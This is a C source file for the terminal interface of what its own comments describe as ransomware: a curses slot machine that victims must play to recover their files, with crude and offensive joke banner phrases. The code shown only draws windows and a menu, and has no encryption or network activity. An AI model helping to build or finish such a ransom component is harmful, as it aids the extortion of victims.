/***
 * Screen - The actual point of this godforsaken project
 * 
 * This file's goal is to "render" a slot machine that the soon-to-be unlucky victim must play to get their
 * files back. To do this, I am using curses and probably the menu library to create the TUI. Once I figure
 * out how to actually do this, everything should work hopefully maybe
 * 
Example window layout

======================================================== (Window 1)         (One line long, top of screen)
VX-GAMBLEGROUND: <Random phrase from list of phrases>
======================================================== (End Window 1)     (Takes up space between top & bottom windows)
======================================================== (Window 2)

SLOTS HERE

======================================================== (End Window 2)
======================================================== (Window 3)         (One line long, bottom of screen)
> Spin              > Buy Spins             > Quit
======================================================== (End Window 3)
 */

#define _GNU_SOURCE

#include "screen.h"
#include <curses.h>
#include <locale.h>
#include <sodium.h>
#include <errno.h>
#include <error.h>
#include <menu.h>

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

static const char *phrases[] = {
    // By @syxhe on telegram 
    "WE CLOWN IN THIS MF, TAKE YO SENSITIVE ASS BACK TO @GENTOOMEMES",
    "R.I.P VxHeaven",
    "tmp(2) nuked by Smelly",
    "99% of Ransomware Operators quit before compromising a bank",
    "Equation Group wuz here",
    "Lazarus wuz here",
    "LockBit wuz here",
    "Sponsored by Equation Group",
    "Sponsored by Lazarus",
    "Sponsored by LockBit",
    "Free my boy Ross Ulbricht he did nothing wrong",
    "Stay off the dark web, kids",
    "FREE BITCOIN JUST 3 SPINS AWAY",
    "We all glow in the dark",
    "Shoutouts to Simpleflips",
    "Shoutouts to BugHunter",
    "Shoutouts to EyeDeeKay",
    ":beecat:",
    ":3",
    "You think Jack Rhysider will interview me now?",
    "Check out \"Darknet Diaries\"",

    // by @danielsprofile on telegram
    "Daniel Spears loves femboys",
    "LizardSquad > Razer",
    "Sponsored by Major League Gaming",
    "Sponsored by LemonParty.org",
    "Sponsored by FTX",
    "RIP Harambe",
    "Shoutout Elliot Alderson",
    "Ted Kaczynski was right",
    "The FBI watches me jerk off to MILFs lol",
    "robux generator free online 2024 100% working undetected",
    "Doge wuz here",
    "We like Fortnite we like Fortnite",
    "We live in a society",
    "Hab you seen a alien pls?",
    "using a flipperzero makes me an APT, right?",
    "Subscribe to PewDiePie",
};

static const char *menu_choices[] = {
    "Spin",
    "Buy spins",
    "Quit"
};

static struct funcholder userfuncs[] = {
    {.callback = spin,  .type = FH_SPIN,    .params = {.spinp = {.bannerwin = NULL, .phrasenum = 0}}},
    {.callback = buy,   .type = FH_BUY,     .params = {.buyp =  {}}},
    {.callback = quit,  .type = FH_QUIT,    .params = {.quitp = {}}}
};

static float normalize(float value, float oldmin, float oldmax, float newmin, float newmax) {
    // x(normal) = (b - a) * ((x - x(min)) / (max x - min x)) + a, where [a, b] is the new range
    return (newmax - newmin) * ((value - oldmin) / (oldmax - oldmin)) + newmin;
}

static int init_rgb_color(int colornum, int red, int green, int blue) {
    int nred    = normalize(red, RGB_MIN, RGB_MAX, CURSESCOLOR_MIN, CURSESCOLOR_MAX);
    int ngreen  = normalize(green, RGB_MIN, RGB_MAX, CURSESCOLOR_MIN, CURSESCOLOR_MAX);
    int nblue   = normalize(blue, RGB_MIN, RGB_MAX, CURSESCOLOR_MIN, CURSESCOLOR_MAX);

    return init_color(colornum, nred, ngreen, nblue);
}

// Initialize sodium, curses, and set the proper locale. Exits on error, returns 0 otherwise
static int doinit(void) {
    if(sodium_init() < 0)
        error(1, errno, "[VX-GAMBLEGROUND] Could not initialize sodium");

    if(setlocale(LC_ALL, "") == NULL)  // Clear out the locale so it doesn't default to ncurses' ISO-8859-1 setting
        error(1, errno, "[VX-GAMBLEGROUND] Could not set proper locale");

    if(initscr() == NULL)   // Initialize curses
        error(1, errno, "[VX-GAMBLEGROUND] Could not init standard screen");

    return 0;
}

// Initialize colors & define a few custom colors & color pairs. Exits on error, returns 0 otherwise
static int docolors(void) {
    if(has_colors() && can_change_color()) {      // Init colors if available & create color pairings
        start_color();

        // Init colors here
        // TODO: FIGURE OUT WHY COLORS ARE SO FUCKEY
            /* The colors were being weird because I was being retarded and redefining already existing colors
            // to numbers well outside curses' 0-1000 range. Making an enum that redefined the already existing 
            // curses colors made this go away. Also VSCode's terminal theming is fucking with it as well, so
            // use a normal terminal for accurate colors */
        
        init_rgb_color(CC_RED,      255,    0,      0);
        init_rgb_color(CC_ORANGE,   255,    128,    0);
        init_rgb_color(CC_YELLOW,   255,    255,    0);
        init_rgb_color(CC_GREEN,    0,      255,    0);
        init_rgb_color(CC_BLUE,     0,      0,      255);
        init_rgb_color(CC_PURPLE,   155,    0,      255);
        init_rgb_color(CC_MAGENTA,  255,    0,      255);
        init_rgb_color(CC_WHITE,    255,    255,    255);

        init_pair(CCP_BANNER, CC_WHITE, CURSES_BLUE);
        init_pair(CCP_TESTING, CC_RED, CC_WHITE);
    } else {
        endwin();
        error(1, ENOTSUP, "[VX-GAMBLEGROUND] Colors are not supported on your terminal");
    }

    return 0;
}

static WINDOW* create_banner(int col, int randomnum) {
    // Create the banner window
    WINDOW *phrase = newwin(1, col, 0, 0);
    if(phrase == NULL) {
        endwin();
        error(1, errno, "[VX-GAMBLEGROUND] Could not create banner window");
    }
    wbkgd(phrase, COLOR_PAIR(1));
    mvwaddstr(phrase, 0, 1, "VX-GAMBLEGROUND: ");
    waddstr(phrase, phrases[randomnum]);
    wrefresh(phrase);

    return phrase;
}

int main() {
    doinit();
    docolors();

    cbreak();               // Disables character buffering
    noecho();               // Disable echoing characters
    curs_set(0);            // Stop the cursor from blinking


    // Variable definitions

    ITEM *items[STATIC_ARRSIZE(menu_choices) + 1];                  // An array of ITEM pointers large enough to store all the menu items
    int holder1 = -1, holder2 = -1;                                 // Holders for the max yx of the menu subwindow
    struct funcholder *p = NULL;                                    // Function pointer used for callbacks in the menu driver
    int row = -1, col = -1;                                         // The rows and columns of the main screen
    WINDOW *phrase = NULL;                                          // The window for displaying the banner
    WINDOW *menuholder;                                             // The window for displaying the menu
    int randomnum;                                                  // A random number for getting the banner phrase
    MENU *menu;                                                     // The actual menu object
    int c;                                                          // Integer for storing keys from user input


    getmaxyx(stdscr, row, col);
    if(row < 0 || col < 0) {
        endwin();
        error(1, 0, "[VX-GAMBLEGROUND] Couldn't get max terminal size for some reason");
    }

    randomnum = randombytes_uniform(STATIC_ARRSIZE(phrases));
    if(randomnum < 0) {
        endwin();
        error(1, errno, "[VX-GAMBLEGROUND] Call to randombytes_uniform failed, can't get random phrase");
    }

    WINDOW *banner = create_banner(col, randomnum);


    // Set up menu items
    for(long unsigned int i = 0; i < STATIC_ARRSIZE(menu_choices); i++) {
        items[i] = new_item(menu_choices[i], NULL);
        set_item_userptr(items[i], (void*)&userfuncs[i]);
    }
    items[STATIC_ARRSIZE(menu_choices)] = NULL;

    menu = new_menu(items);
    if(menu == NULL) {
        endwin();
        error(1, errno, "Could not create menu");
    }

    // Set menu options & format
    set_menu_format(menu, 1, col);
    menu_opts_on(menu, O_ONEVALUE | O_IGNORECASE);
    menu_opts_off(menu, O_SHOWDESC | O_NONCYCLIC);

    menuholder = newwin(1, col, row - 1, 0);
    keypad(menuholder, TRUE);


    getmaxyx(menuholder, holder1, holder2);
    if(holder1  < 0 || holder2 < 0) {
        endwin();
        error(1, errno, "[VX-GAMBLEGROUND] Could not get bounds for menu subwindow");
    }
    set_menu_win(menu, menuholder);
    set_menu_sub(menu, derwin(menuholder, holder1, holder2, 0, 0));

    set_menu_mark(menu, NULL);
    post_menu(menu);
    wbkgd(menuholder, COLOR_PAIR(CCP_BANNER));
    set_menu_back(menu, COLOR_PAIR(CCP_BANNER));
    wrefresh(menuholder);


    WINDOW *slots = newwin(row - 2, col, 1, 0);
    if(slots == NULL) {
        endwin();
        error(1, errno, "[VX-GAMBLEGROUND] Could not create slots window");
    }

    const char *sampletext = "Lmao longer sample";
    mvwaddstr(slots, (row - 2) / 2, (col / 2) - (strlen(sampletext) / 2), sampletext);
    wrefresh(slots);

    userfuncs[0].params.spinp.bannerwin = banner;
    userfuncs[0].params.spinp.phrasenum = randomnum;
    userfuncs[0].params.spinp.menuholder = menuholder;
    userfuncs[0].params.spinp.menu = menu;

    // Get user input and deal with the menu
    while((c = wgetch(menuholder)) != KEY_F(4)) {
        switch(c) {
            case KEY_DOWN:
                menu_driver(menu, REQ_DOWN_ITEM);
                break;

            case KEY_UP:
                menu_driver(menu, REQ_UP_ITEM);
                break;

            case KEY_LEFT:
                menu_driver(menu, REQ_LEFT_ITEM);
                break;

            case KEY_RIGHT:
                menu_driver(menu, REQ_RIGHT_ITEM);
                break;

            case KEY_ENTER: case FUCKED_UP_ENTER: // Enter
                //wclear(menuholder);
                //mvwaddstr(menuholder, 0, 0, "This shit brokey lmao");

                p = (struct funcholder *)item_userptr(current_item(menu));
                switch(p->type) {
                    case FH_SPIN:
                        p->callback((void*)&p->params.spinp);
                        break;

                    case FH_BUY:
                        p->callback((void*)&p->params.buyp);
                        break;

                    case FH_QUIT:
                        p->callback((void*)&p->params.quitp);
                        break;

                    default:
                        endwin();
                        error(1, ENOTSUP, "SHIT BROKE");
                }

                break;
        }
    }

    // Clean up the menu
    unpost_menu(menu);
    free_menu(menu);
    for(long unsigned int i = 0; i < STATIC_ARRSIZE(menu_choices); i++)
        free_item(items[i]);
    //*/

    endwin(); // Clean up curses
    return 0;
}

// Spin the wheel
int spin(void *spinp) {
    struct spinp *p = (struct spinp *)spinp;

    // Change the color to testing for the banner
    wbkgd(p->bannerwin, COLOR_PAIR(CCP_TESTING));
    wnoutrefresh(p->bannerwin);

    // Change the color to testing for the menu
    wbkgd(p->menuholder, COLOR_PAIR(CCP_TESTING));
    set_menu_back(p->menu, COLOR_PAIR(CCP_TESTING));
    wnoutrefresh(p->menuholder);

    doupdate();

    return 0;
}

// Increase number of spins
int buy(void *buyp) {
    endwin();
    error(1, 0, "buy");
    return 0;
}

// Quit out
int quit(void *quitp) {
    endwin();
    error(1, 0, "quit");
    return 1;
}